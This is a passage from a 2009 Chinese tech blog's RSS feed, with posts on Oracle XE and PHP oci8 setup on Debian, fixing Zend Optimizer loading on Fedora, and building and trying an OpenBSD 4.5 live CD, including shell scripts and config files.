Oracle Database XE启动后，将打开服务端口1521，可以通过命令lsof来查看(lsof -n -i TCP:1521)，默认安装的情况下，我们还可以通过Web管理接口在本机进行数据库管理（http://127.0.0.1:8080/apex）。我们可以通过 /etc/default/oracle-xe 文件来查看和更新当前 oracle 数据库的配置。</p>
<p>Oracle database XE的运行除要求有一定数量的物理内存外，对交换空间也有一定的要求。Oracle Database 10g Express Edition 要求系统有1006MB的交换空间。如果不希望重启系统，你可以通过创建一个文件交换来达到这一要求：</p>
<p>root@debian ~# dd if=/dev/zero of=/MY_SWP_FILE bs=1M count=1000<br />
root@debian ~# mkswp /MY_SWP_FILE<br />
root@debian ~# swapon /MY_SWP_FILE<br />
要启用或禁止Oracle database XE在开机时自动启动，可以通过 update-rc.d 工具来完成，或者修改文件/etc/default/oracle-xe文件，将其中 ORACLE_DBENABLED=true改为ORACLE_DBENABLED=false。</p>
<p>对于如何使用Oracle database XE不是本文所涉及的内容，就不多讲。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1261.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>debian 安装apache2+php4+GD+Pear+smarty并编译oci8模块</title>
		<link>http://www.evanjiang.net.cn/archives/1259.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1259.html#comments</comments>
		<pubDate>Sun, 02 Aug 2009 13:58:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1259</guid>
		<description><![CDATA[<p>apt-get install apache2 libapache2-mod-php4 php4-gd php4-pear smarty
apt-get install php4-dev
系统安装完毕
要使php4支持oracle就要在webserver上安装oracle的client端。
oracle client install
install client -> custom ->
check the options list below:
  oracle jdbc/oci interfaces
  oracle call interfaces 9.2.0.1.0  </p>
<p>然后
cd  /usr/local/src
apt-get source php4
cd php4-4.3.10/ext/oci8/
phpize4
./configure &#8211;with-oci8=$ORACLE_HOME
make
make install</p>
<p>vi /etc/php4/apache2/php.ini
加入 extension=oci8.so
vi /usr/sbin/apache2ctl
加入
export ORACLE_BASE=/u01/oracle
export ORACLE_HOME=/u01/oracle/product/9i
export ORACLE_SID=orcl
export LD_LIBRARY_PATH=/u01/oracle/product/9i/lib:/lib:/usr/lib</p>
<p>重起 apache2就可以</p>
]]></description>
			<content:encoded><![CDATA[<p>apt-get install apache2 libapache2-mod-php4 php4-gd php4-pear smarty<br />
apt-get install php4-dev<br />
系统安装完毕<br />
要使php4支持oracle就要在webserver上安装oracle的client端。<br />
oracle client install<br />
install client -> custom -><br />
check the options list below:<br />
  oracle jdbc/oci interfaces<br />
  oracle call interfaces 9.2.0.1.0  </p>
<p>然后<br />
cd  /usr/local/src<br />
apt-get source php4<br />
cd php4-4.3.10/ext/oci8/<br />
phpize4<br />
./configure &#8211;with-oci8=$ORACLE_HOME<br />
make<br />
make install</p>
<p>vi /etc/php4/apache2/php.ini<br />
加入 extension=oci8.so<br />
vi /usr/sbin/apache2ctl<br />
加入<br />
export ORACLE_BASE=/u01/oracle<br />
export ORACLE_HOME=/u01/oracle/product/9i<br />
export ORACLE_SID=orcl<br />
export LD_LIBRARY_PATH=/u01/oracle/product/9i/lib:/lib:/usr/lib</p>
<p>重起 apache2就可以</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1259.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 下的lighttpd不能加载zend Optimizer的解决方法</title>
		<link>http://www.evanjiang.net.cn/archives/1252.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1252.html#comments</comments>
		<pubDate>Sat, 01 Aug 2009 06:36:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1252</guid>
		<description><![CDATA[<p>    在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer前 3个均可以用 yum 进行安装，很方便。</p>
<p>　　在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer</p>
<p>　　前 3个均可以用 yum 进行安装，很方便。</p>
<p>　　而 zend Optimizer 需要下载解压后，到解压目录输入 # ./install.sh 就会出现界面提示安装。安装后重启 lighttpd却没有成功启动 zend Optimizer 。</p>
<p>　　解决经过：</p>
<p>　　1. 开始认为是 php.ini 没有设置好。 打目录中找 #find / -name php.ini ，后发现网页输出 就有 Loaded Configuration File : /usr/local/Zend/etc/php.ini 显示 php.ini 文件已被加载。</p>
<p>　　2. [...]]]></description>
			<content:encoded><![CDATA[<p>    在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer前 3个均可以用 yum 进行安装，很方便。</p>
<p>　　在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer</p>
<p>　　前 3个均可以用 yum 进行安装，很方便。</p>
<p>　　而 zend Optimizer 需要下载解压后，到解压目录输入 # ./install.sh 就会出现界面提示安装。安装后重启 lighttpd却没有成功启动 zend Optimizer 。</p>
<p>　　解决经过：</p>
<p>　　1. 开始认为是 php.ini 没有设置好。 打目录中找 #find / -name php.ini ，后发现网页输出 就有 Loaded Configuration File : /usr/local/Zend/etc/php.ini 显示 php.ini 文件已被加载。</p>
<p>　　2. 是否 zend Optimizer 版本问题,安装最新版还是不成功。</p>
<p>　　3. 在网络查找解决方法多是说 php.ini 设置问题。最终将几个方法总结才解决：</p>
<p>　　具体解决方法:</p>
<p>　　1. 对于 php.ini文件路径有问题( 我的在 phpinfo()显示php.ini路径正确，我就不用这个方法 )</p>
<p>　　解决方法</p>
<p>　　php -i | grep php.ini 就可以找到当前php使用的php.ini文件</p>
<p>　　比如, 编译安装时没有指定php.ini存放路径, 那么默认php.ini会放在/usr/local/lib下面</p>
<p>　　最好是在编译PHP时指定PHP配置文件的路径 如: &#8211;with-config-file-path=/usr/local/etc</p>
<p>　　而一般zend默认安装 php.ini在/etc/目录下面或/usr/local/Zend/etc 所以需要在安装的时候手工指定我们php.ini文件存放的位置</p>
<p>　　如果, 不知道现在的PHP 的配置文件具体位置的话 可以查看一下:</p>
<p>　　php -i | grep php.ini</p>
<p>　　如果php optimizer安装好 却发现不能加载的话可以 手工指定读取php.ini文件的位置</p>
<p>　　php -c /etc/ -v 如果可以看到zend opt正确加载</p>
<p>　　那么做个连接就好 连接到php默认读取的php.ini路径下面</p>
<p>　　<span id="more-1252"></span><br />
比如</p>
<p>　　ln -sf /etc/php.ini /usr/local/lib</p>
<p>　　[root@localhost /]# php -v</p>
<p>HP 5.2.5 (cli) (built: Jan 22 2006 12:59:19)</p>
<p>　　Copyright (c) 1997-2006 The PHP Group</p>
<p>　　Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies</p>
<p>　　with Zend Extension Manager v1.0.9, Copyright (c) 2003-2006, by Zend Technologies</p>
<p>　　with Zend Optimizer v3.3.2, Copyright (c) 1998-2006, by Zend Technologies</p>
<p>　　Ok 正常 phpinfo()看到的当然也是一样的</p>
<p>　　2. 调用库文件的问题</p>
<p>　　有的时候还有一些情况下 php -i 或php -v 在控制台下可以看到zend opt,</p>
<p>　　但是 apache 执行phpinfo的输出里面却看不到</p>
<p>　　一般是因为 调用php的时候zend模块不能加载, 比如AS4里面 就是这样的</p>
<p>　　如as4下面默认的php安装后读取库文件的路径 是在/usr/lib下面 ，</p>
<p>　　而php.ini文件中加载zend模块是在zend安装路径的lib目录中</p>
<p>　　比如/usr/local/Zend/lib 这时apache在执行php时 不能加载zend模块 所以 在控制台里php -v 可以正常</p>
<p>　　但是apache 却没有加载zend。</p>
<p>　　解决办法</p>
<p>　　先把zend模块copy到</p>
<p>　　/usr/lib里面 然后改一下php.ini里面zend加载模块部分</p>
<p>　　( 我在 php -i 中显示 Failed loading /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so: /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so: cannot restore segment prot after reloc: Permission denied</p>
<p>　　看这个原来是权限问题)</p>
<p>　　3. 最恶心的SElinux问题</p>
<p>　　SElinux导致PHP不能使用zend/lib下的库文件。所以，即便是做link也不行。只能够拷贝库文件到有权限的目录。或者直接关掉SElinux</p>
<p>　　但我已 在 /etc/selinux/config 的 SELINUX=disabled 关掉SElinux 还是不行, 再网络查询发现</p>
<p>　　在你保证SElinux 被disable后.还执行下</p>
<p>　　chcon -t texrel_shlib_t 命令</p>
<p>　　如: chcon -t texrel_shlib_t /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so (这个文件视具体执行文件.)</p>
<p>　　就可以。</p>
<p>　　我的解决的情况是:</p>
<p>　　1. 关闭SElinux</p>
<p>　　2. 运行 #chcon -t texrel_shlib_t /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so</p>
<p>　　就可以。</p>
<p>还有一个最终的解决办法，就是使用低版本的php源代码来编译安装php.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1252.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>openbsd 4.5 livecd 试用心得</title>
		<link>http://www.evanjiang.net.cn/archives/1233.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1233.html#comments</comments>
		<pubDate>Mon, 06 Jul 2009 16:09:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[openbsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1233.html</guid>
		<description><![CDATA[<p>昨天，无意在某个QQ群看到这条信息，有BSD fans 贴出一条openbsd live cd 的信息，列出OpenBSD 4.5 Live CD 的下载地址：ftp://bsd.pls.msu.edu/pub/livecd ，俺记得几年前，用过livecd 4.0 ，但由于没深入研究。所以印象不深。用了一两次就没再用。今天无意中看到这条信息。无意中又沟起俺对openbsd 的美好回忆。openbsd 是俺很喜欢的一种BSD系统。以前常用来作防火墙安全等研究。后来，就没再继续深入研究。今天又忽然心血来潮。想玩玩openbsd livecd .因为俺从openbsd3.8开始。就没怎样研究过openbsd 。今天，又忽然想玩一下。就在 那个网站下载livecd .俺下载到是xfce桌面的livcd .gz 压缩版本。才几百M。不大。。。下载完。俺就习惯用winrar解压。用vmware来安装与尝试。安装很需利。livecd 正常启动。启动提示设置root 与普通user账户的密码。设置密码。然后会提示你是选择终端login模式，还是桌面图形模式。俺一开始。顺便按了回车，系统就默认用终端来lgoin 。login后 ，俺习惯打入：startx 启动桌面。发觉桌面是熟悉的xfce桌面。。俺动了动mouse，发觉mouse很不灵活。很艰难地右击一下，弹出常用菜单，然后选了setting中的mouse setting ，将mouse 的灵敏度调到最右边。也是最高的位置。但发觉mouse的灵敏度还是很低。。。俺没时间，也没耐心断续玩下去。就顺手打开一个终端。运行halt 关机了事。。。到了晚上。。俺想着，总不能就这样对openbsd livecd 说声再见，总要看看mouse 反应不够灵敏的问题出在哪里吧?那俺又再一次运行livecd .到了选择login模式，这次。俺是直接选了图形login模式，跟着。弹出一个图形login窗口，输入root账号与密码后。进入一个xfce桌面。俺动了动mouse，发觉这回mouse灵活很多，基本不影晌使用。。俺随便看看，发觉这些LIVECD 整合的软件比较少。除了一个firefox3.06外，其它都是桌面的基本设置。例如mouse ,keyborad等等。。俺打开firefox，想尝试打开网页。发现无法打开网页。随手打开一个终端，运行ifconfig .发 觉没有自动获取到ip&#8230;俺了想想，想可能是openbsdlivecd 是用vmware安装的。而俺的winxp 是无线上网。而 vmware没有开发nat转换功能。所以。livecd 没有获得ip，并且将网络信号转换出去，所以无法上网。。。俺再四周看看。发觉这个xfce 桌面的openbsd4.5 livecd 整合的软件太少。没什么吸引力。就随手halt掉。就没再弄。。。</p>
]]></description>
			<content:encoded><![CDATA[<p>昨天，无意在某个QQ群看到这条信息，有BSD fans 贴出一条openbsd live cd 的信息，列出OpenBSD 4.5 Live CD 的下载地址：ftp://bsd.pls.msu.edu/pub/livecd ，俺记得几年前，用过livecd 4.0 ，但由于没深入研究。所以印象不深。用了一两次就没再用。今天无意中看到这条信息。无意中又沟起俺对openbsd 的美好回忆。openbsd 是俺很喜欢的一种BSD系统。以前常用来作防火墙安全等研究。后来，就没再继续深入研究。今天又忽然心血来潮。想玩玩openbsd livecd .因为俺从openbsd3.8开始。就没怎样研究过openbsd 。今天，又忽然想玩一下。就在 那个网站下载livecd .俺下载到是xfce桌面的livcd .gz 压缩版本。才几百M。不大。。。下载完。俺就习惯用winrar解压。用vmware来安装与尝试。安装很需利。livecd 正常启动。启动提示设置root 与普通user账户的密码。设置密码。然后会提示你是选择终端login模式，还是桌面图形模式。俺一开始。顺便按了回车，系统就默认用终端来lgoin 。login后 ，俺习惯打入：startx 启动桌面。发觉桌面是熟悉的xfce桌面。。俺动了动mouse，发觉mouse很不灵活。很艰难地右击一下，弹出常用菜单，然后选了setting中的mouse setting ，将mouse 的灵敏度调到最右边。也是最高的位置。但发觉mouse的灵敏度还是很低。。。俺没时间，也没耐心断续玩下去。就顺手打开一个终端。运行halt 关机了事。。。到了晚上。。俺想着，总不能就这样对openbsd livecd 说声再见，总要看看mouse 反应不够灵敏的问题出在哪里吧?那俺又再一次运行livecd .到了选择login模式，这次。俺是直接选了图形login模式，跟着。弹出一个图形login窗口，输入root账号与密码后。进入一个xfce桌面。俺动了动mouse，发觉这回mouse灵活很多，基本不影晌使用。。俺随便看看，发觉这些LIVECD 整合的软件比较少。除了一个firefox3.06外，其它都是桌面的基本设置。例如mouse ,keyborad等等。。俺打开firefox，想尝试打开网页。发现无法打开网页。随手打开一个终端，运行ifconfig .发 觉没有自动获取到ip&#8230;俺了想想，想可能是openbsdlivecd 是用vmware安装的。而俺的winxp 是无线上网。而 vmware没有开发nat转换功能。所以。livecd 没有获得ip，并且将网络信号转换出去，所以无法上网。。。俺再四周看看。发觉这个xfce 桌面的openbsd4.5 livecd 整合的软件太少。没什么吸引力。就随手halt掉。就没再弄。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1233.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Openbsd 4.5 live cd 下载网址以及制作过程</title>
		<link>http://www.evanjiang.net.cn/archives/1209.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1209.html#comments</comments>
		<pubDate>Sat, 04 Jul 2009 02:53:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[openbsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1209.html</guid>
		<description><![CDATA[<p>OpenBSD 4.5 Live CD</p>
<p>ftp://bsd.pls.msu.edu/pub/livecd</p>
<p>另符一篇livecd 的制作过程文章。仅作参考</p>
<p>OpenBSD LiveCD制作过程
    刚开始接触OpenBSD时，我就很想使用OpenBSD LiveCD，但没找到。今年1月那时起就想</p>
<p>自己做一个LiveCD，一个新年一过， 就将它放下，现在又重新开始制作，今天写这篇文章</p>
<p>只是我思路的一个开始，制作的LiveCD，还不完善，我会后续为其改进。 </p>
<p>    制作过程：
一、	准备工作：
1、	一个能运行OpenBSD系统的所需要的必备文件，这里我就没像一些mini LiveCD那样</p>
<p>对系统进行剔牛肉进行精减，只是将一个能运行的系统的所有文件进行备份。而且如果备份</p>
<p>的文件不大， 那制作出的LiveCD就很小， 我们就可以将这个备份的系统文件也一起放进CD</p>
<p>中， 到时就可以用这个LiveCD安装系统，
2、	OpenBSD系统的源程序，我们在制作过程中需要编译光盘镜像。 </p>
<p>二、	将备份的系统文件解开到一个目录下，我将以这个目录作为LiveCD的根目录制作CD</p>
<p>，如/usr/live/。
三、	将OpenBSD源程序解开到/usr/src下，然后：
1、	安装必须的程序：
# cd /usr/src/distrib/crunch/crunchgen
#make; make install
#cd /usr/src/distrib/crunch/crunchide
#make; make install </p>
<p>2、	定制内核
内核文件是/usr/src/sys/arch/i386/conf/RAMDISK_CD，我们需要对这个文件进行修改，其</p>
<p>中有三行最重要，一定不能少：
 option  MFS
 option  UNION
 config  bsd root on cd0a
LiveCD运行于MFS上，而且它的根目录在CD上。 </p>
<p>还有其它一些选项如：
 option SMALL_KERNEL
 option NO_PROPLICE
 option TIMEZONE=0
 option DST=0
 option RAMDISK_HOOKS
 option MINIROOTSIZE=3560 [...]]]></description>
			<content:encoded><![CDATA[<p>OpenBSD 4.5 Live CD</p>
<p>ftp://bsd.pls.msu.edu/pub/livecd</p>
<p>另符一篇livecd 的制作过程文章。仅作参考</p>
<p>OpenBSD LiveCD制作过程<br />
    刚开始接触OpenBSD时，我就很想使用OpenBSD LiveCD，但没找到。今年1月那时起就想</p>
<p>自己做一个LiveCD，一个新年一过， 就将它放下，现在又重新开始制作，今天写这篇文章</p>
<p>只是我思路的一个开始，制作的LiveCD，还不完善，我会后续为其改进。 </p>
<p>    制作过程：<br />
一、	准备工作：<br />
1、	一个能运行OpenBSD系统的所需要的必备文件，这里我就没像一些mini LiveCD那样</p>
<p>对系统进行剔牛肉进行精减，只是将一个能运行的系统的所有文件进行备份。而且如果备份</p>
<p>的文件不大， 那制作出的LiveCD就很小， 我们就可以将这个备份的系统文件也一起放进CD</p>
<p>中， 到时就可以用这个LiveCD安装系统，<br />
2、	OpenBSD系统的源程序，我们在制作过程中需要编译光盘镜像。 </p>
<p>二、	将备份的系统文件解开到一个目录下，我将以这个目录作为LiveCD的根目录制作CD</p>
<p>，如/usr/live/。<br />
三、	将OpenBSD源程序解开到/usr/src下，然后：<br />
1、	安装必须的程序：<br />
# cd /usr/src/distrib/crunch/crunchgen<br />
#make; make install<br />
#cd /usr/src/distrib/crunch/crunchide<br />
#make; make install </p>
<p>2、	定制内核<br />
内核文件是/usr/src/sys/arch/i386/conf/RAMDISK_CD，我们需要对这个文件进行修改，其</p>
<p>中有三行最重要，一定不能少：<br />
 option  MFS<br />
 option  UNION<br />
 config  bsd root on cd0a<br />
LiveCD运行于MFS上，而且它的根目录在CD上。 </p>
<p>还有其它一些选项如：<br />
 option SMALL_KERNEL<br />
 option NO_PROPLICE<br />
 option TIMEZONE=0<br />
 option DST=0<br />
 option RAMDISK_HOOKS<br />
 option MINIROOTSIZE=3560 </p>
<p>需要将一些多余的东西删除，因此这个内核大小控制在2.88M以内， 太大时会编译失败。我</p>
<p>的RAMDISK_CD是将/usr/src/sys/arch/i386/conf/GENERIC 和/usr/src/sys/conf/GENERIC</p>
<p>这两个文章合并然后去掉一些内容整理出来的。 </p>
<p>3、	编译内核<br />
# cd /usr/src/distrib/i386/ramdisk_cd<br />
#make<br />
成功后会在目录下生成cdrom36.fs这个文件，我们将这个文件复制到制作LiveCD的目录</p>
<p>下/usr/live/。 </p>
<p>四、	修改/usr/live/etc中的各类文件<br />
1、fstab </p>
<p>/dev/cd0a / cd9660 ro,noatime 0 0</p>
<p>swap	/dev	mfs	rw,noatime,union,-s=16384	0 0</p>
<p>swap	/tmp	mfs	rw,nodev,noexec,nosuid,noatime,-s=32768	0 0</p>
<p>swap	/etc	mfs	rw,noatime,-s=16384	0 0</p>
<p>swap	/var	mfs	rw,noatime,-s=16384	0 0</p>
<p>swap	/home mfs	rw,noatime,-s=16384	0 0</p>
<p>以前我没发现fstab的功能居然如此强大, 以为它只能mount已分好的挂载点, 原来它在光盘</p>
<p>系统中还可以在启动时自动挂载写入fstab中的mfs. </p>
<p>2、rc<br />
   OpenBSD启动时首先读取这个文件， 如果找不到它就会读取根目录下的/.profile文件进</p>
<p>行初始配置。<br />
   修改/etc/rc文件, 三个地方修改 </p>
<p>#	$OpenBSD: rc,v 1.251 2004/08/21 08:17:28 hshoexer Exp $</p>
<p># System startup script run by init on autoboot</p>
<p># or after single-user.</p>
<p># Output and error are redirected to console by init,</p>
<p># and the console is the controlling terminal.</p>
<p># Subroutines (have to come first).</p>
<p># Strip comments (and leading/trailing whitespace if IFS is set)</p>
<p># from a file and spew to stdout<br />
<span id="more-1209"></span></p>
<p>stripcom() {</p>
<p>	local _file=&#8221;$1&#8243;</p>
<p>	local _line</p>
<p>	{</p>
<p>		while read _line ; do</p>
<p>			_line=${_line%%#*}		# strip comments</p>
<p>			test -z &#8220;$_line&#8221; &#038;&#038; continue</p>
<p>			echo $_line</p>
<p>		done</p>
<p>	} < $_file</p>
<p>}</p>
<p># End subroutines</p>
<p>stty status '^T'</p>
<p># Set shell to ignore SIGINT (2), but not children;</p>
<p># shell catches SIGQUIT (3) and returns to single user after fsck.</p>
<p>trap : 2</p>
<p>trap : 3	# shouldn't be needed</p>
<p>HOME=/; export HOME</p>
<p>PATH=/sbin:/bin:/usr/sbin:/usr/bin</p>
<p>export PATH</p>
<p>if [ $1x = shutdownx ]; then</p>
<p>	dd if=/dev/urandom of=/var/db/host.random bs=1024 count=64 >;/dev/null </p>
<p>2>;&#038;1</p>
<p>	chmod 600 /var/db/host.random >;/dev/null 2>;&#038;1</p>
<p>	if [ $? -eq 0 -a -f /etc/rc.shutdown ]; then</p>
<p>		echo /etc/rc.shutdown in progress&#8230;</p>
<p>		. /etc/rc.shutdown</p>
<p>		echo /etc/rc.shutdown complete.</p>
<p>		# bring carp interfaces down gracefully</p>
<p>		for hn in /etc/hostname.carp[0-9]*; do</p>
<p>			# Strip off /etc/hostname. prefix</p>
<p>			if=${hn#/etc/hostname.}</p>
<p>			test &#8220;$if&#8221; = &#8220;carp[0-9]*&#8221; &#038;&#038; continue</p>
<p>			ifconfig $if >; /dev/null 2>;&#038;1</p>
<p>			if [ "$?" != "0" ]; then</p>
<p>				ifconfig $if down</p>
<p>			fi</p>
<p>		done</p>
<p>		if [ "X${powerdown}" = X"YES" ]; then</p>
<p>			exit 2</p>
<p>		fi</p>
<p>	else</p>
<p>		echo single user: not running /etc/rc.shutdown</p>
<p>	fi</p>
<p>	exit 0</p>
<p>fi</p>
<p># Configure ccd devices.</p>
<p>if [ -f /etc/ccd.conf ]; then</p>
<p>	ccdconfig -C</p>
<p>fi</p>
<p># Configure raid devices.</p>
<p>for dev in 0 1 2 3; do</p>
<p>	if [ -f /etc/raid$dev.conf ]; then</p>
<p>		raidctl -c /etc/raid$dev.conf raid$dev</p>
<p>	fi</p>
<p>done</p>
<p># Check parity on raid devices.</p>
<p>raidctl -P all</p>
<p>swapctl -A -t blk</p>
<p>if [ -e /fastboot ]; then</p>
<p>	echo &#8220;Fast boot: skipping disk checks.&#8221;</p>
<p>elif [ $1x = autobootx ]; then</p>
<p>	echo &#8220;Automatic boot in progress: starting file system checks.&#8221;</p>
<p>#	fsck –p      这一行要注释掉</p>
<p>	case $? in</p>
<p>	0)</p>
<p>		;;</p>
<p>	2)</p>
<p>		exit 1</p>
<p>		;;</p>
<p>	4)</p>
<p>		echo &#8220;Rebooting&#8230;&#8221;</p>
<p>		reboot</p>
<p>		echo &#8220;Reboot failed; help!&#8221;</p>
<p>		exit 1</p>
<p>		;;</p>
<p> <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> </p>
<p>		echo &#8220;Automatic file system check failed; help!&#8221;</p>
<p>		exit 1</p>
<p>		;;</p>
<p>	12)</p>
<p>		echo &#8220;Boot interrupted.&#8221;</p>
<p>		exit 1</p>
<p>		;;</p>
<p>	130)</p>
<p>		# interrupt before catcher installed</p>
<p>		exit 1</p>
<p>		;;</p>
<p>	*)</p>
<p>		echo &#8220;Unknown error; help!&#8221;</p>
<p>		exit 1</p>
<p>		;;</p>
<p>	esac</p>
<p>fi</p>
<p>trap &#8220;echo &#8216;Boot interrupted.&#8217;; exit 1&#8243; 3</p>
<p>umount -a >;/dev/null 2>;&#038;1</p>
<p>mount -a -t nonfs</p>
<p>mount -uw /		# root on nfs requires this, others aren&#8217;t hurt</p>
<p>rm -f /fastboot		# XXX (root now writeable)</p>
<p>这里需要在/dev下建立三个设备点, 不然后一步tar出错, 系统启动时会问题多多</p>
<p>mknod /dev/stdout c 22 1</p>
<p>mknod /dev/stdin c 22 0</p>
<p>mknod /dev/stderr c 22 2</p>
<p>if [ -f /mfs/mfs.tgz ]; then</p>
<p>	tar zxpf /mfs/mfs.tgz -C /</p>
<p>	echo &#8216;Fixed up mfs from /mfs/mfs.tgz&#8217;</p>
<p>fi</p>
<p>chmod 755 /dev /etc /var</p>
<p>chmod a+rwx,a+t /tmp</p>
<p># set flags on ttys.  (do early, in case they use tty for SLIP in netstart)</p>
<p>echo &#8216;setting tty flags&#8217;</p>
<p>ttyflags -a</p>
<p>if [ "X${pf}" != X"NO" ]; then</p>
<p>	RULES=&#8221;block all&#8221;</p>
<p>	RULES=&#8221;$RULES\npass on lo0&#8243;</p>
<p>	RULES=&#8221;$RULES\npass in proto tcp from any to any port 22 keep state&#8221;</p>
<p>	RULES=&#8221;$RULES\npass out proto { tcp, udp } from any to any port 53 keep </p>
<p>state&#8221;</p>
<p>	RULES=&#8221;$RULES\npass out inet proto icmp all icmp-type echoreq keep </p>
<p>state&#8221;</p>
<p>	RULES=&#8221;$RULES\npass out inet6 proto icmp6 all icmp6-type routersol&#8221;</p>
<p>	RULES=&#8221;$RULES\npass in inet6 proto icmp6 all icmp6-type routeradv&#8221;</p>
<p>	RULES=&#8221;$RULES\npass proto { pfsync, carp }&#8221;</p>
<p>	case `sysctl vfs.mounts.nfs 2>;/dev/null` in</p>
<p>	*[1-9]*)</p>
<p>		# don&#8217;t kill NFS</p>
<p>		RULES=&#8221;scrub in all no-df\n$RULES&#8221;</p>
<p>		RULES=&#8221;$RULES\npass in proto udp from any port { 111, 2049 } to </p>
<p>any&#8221;</p>
<p>		RULES=&#8221;$RULES\npass out proto udp from any to any port { 111, </p>
<p>2049 }&#8221;</p>
<p>		;;</p>
<p>	esac</p>
<p>	echo $RULES | pfctl -f &#8211; -e</p>
<p>fi</p>
<p>if [ -f /etc/sysctl.conf ]; then</p>
<p>(</p>
<p>	# delete comments and blank lines</p>
<p>	set &#8212; `stripcom /etc/sysctl.conf`</p>
<p>	while [ $# -ge 1 ] ; do</p>
<p>		sysctl $1</p>
<p>		shift</p>
<p>	done</p>
<p>)</p>
<p>fi</p>
<p># set hostname, turn on network</p>
<p>echo &#8220;Setting Network&#8230;&#8230;&#8221;     修改这里, 加入我写的setnetwork脚本, </p>
<p>. /etc/setnetwork                     这样网络设置在每台机上都可以重新设置而不是</p>
<p>更改文件.</p>
<p>3、上一步最后有一个setnetwork脚本，这一步写出。我的脚本编写不会， 只好从其它地方</p>
<p>抄过来，有一些错误，需要请高手改写。这个文件有点大， 贴在最后吧！ </p>
<p>4、将一些网络配置的文件删除如：hosts, mygate等。上一步的network在启动时会生成这</p>
<p>些配置文件。 </p>
<p>五、	备份几个目录，在4.3 rc脚本中的MFS部分那个文件。<br />
在/usr/live/ LiveCD根目录下建立文件夹：mfs 然后：<br />
# tar cvzfp mfs/mfs.tgz dev etc home var </p>
<p>六、	制作ISO镜像：<br />
# cd /usr/live<br />
# mkhybrid –b cdrom36.fs –c boot.catalog –R –v –o /usr/OpenBSD-LiveCD.iso </p>
<p>/usr/live </p>
<p>现在制作完成， 你可以用虚拟机测试这个生成的ISO镜像。<br />
参考网上许多文章, 这里就不一一列出来, 感谢那些大哥写出那么好的教程. </p>
<p>我现在还有几个问题需要解决，主要是MFS这方面的，另外shell脚本的错误也需要大家来解</p>
<p>决。<br />
设置网络用的setnetwork脚本:<br />
setnetwork： </p>
<p>#!/bin/sh</p>
<p>get_dkdevs() {</p>
<p>	bsort `sed -ne &#8220;${MDDISKDEVS:-/^[sw]d[0-9][0-9]* /s/ .*//p}&#8221; </p>
<p>/var/run/dmesg.boot`</p>
<p>}</p>
<p>get_cddevs() {</p>
<p>	bsort `sed -ne &#8220;${MDCDDEVS:-/^cd[0-9][0-9]* /s/ .*//p}&#8221; </p>
<p>/var/run/dmesg.boot`</p>
<p>}</p>
<p>get_ifdevs() {</p>
<p>	ifconfig -a \</p>
<p>	    | egrep -v &#8216;^[[:space:]]|</p>
<p>(bridge|enc|gif|gre|lo|pflog|pfsync|ppp|sl|tun|vlan)[[:digit:]]+:&#8217; \</p>
<p>	    | sed -ne &#8216;s/^\(.*\):.*/\1/p&#8217;</p>
<p>}</p>
<p>askpass() {</p>
<p>	set -o noglob</p>
<p>	stty -echo</p>
<p>	read resp?&#8221;$1 &#8221;</p>
<p>	stty echo</p>
<p>	set +o noglob</p>
<p>	echo</p>
<p>}</p>
<p>ask() {</p>
<p>	local _question=$1 _default=$2</p>
<p>	set -o noglob</p>
<p>	while : ; do</p>
<p>		echo -n &#8220;$_question &#8221;</p>
<p>		[[ -z $_default ]] || echo -n &#8220;[$_default] &#8221;</p>
<p>		read resp</p>
<p>		case $resp in</p>
<p>		!)	echo &#8220;Type &#8216;exit&#8217; to return to install.&#8221;</p>
<p>			sh</p>
<p>			;;</p>
<p>		!*)	eval ${resp#?}</p>
<p>			;;</p>
<p>		*)	: ${resp:=$_default}</p>
<p>			break</p>
<p>			;;</p>
<p>		esac</p>
<p>	done</p>
<p>	set +o noglob</p>
<p>}</p>
<p>ask_until() {</p>
<p>	resp=</p>
<p>	while [[ -z $resp ]] ; do</p>
<p>		ask &#8220;$1&#8243; &#8220;$2&#8243;</p>
<p>	done</p>
<p>}</p>
<p>ask_yn() {</p>
<p>	local _q=$1 _a=${2:-no} _resp</p>
<p>	typeset -l _resp</p>
<p>	while : ; do</p>
<p>		ask &#8220;$_q&#8221; &#8220;$_a&#8221;</p>
<p>		_resp=$resp</p>
<p>		case $_resp in</p>
<p>		y|yes)	resp=y ; return ;;</p>
<p>		n|no)	resp=n ; return ;;</p>
<p>		esac</p>
<p>	done</p>
<p> }</p>
<p>ask_which() {</p>
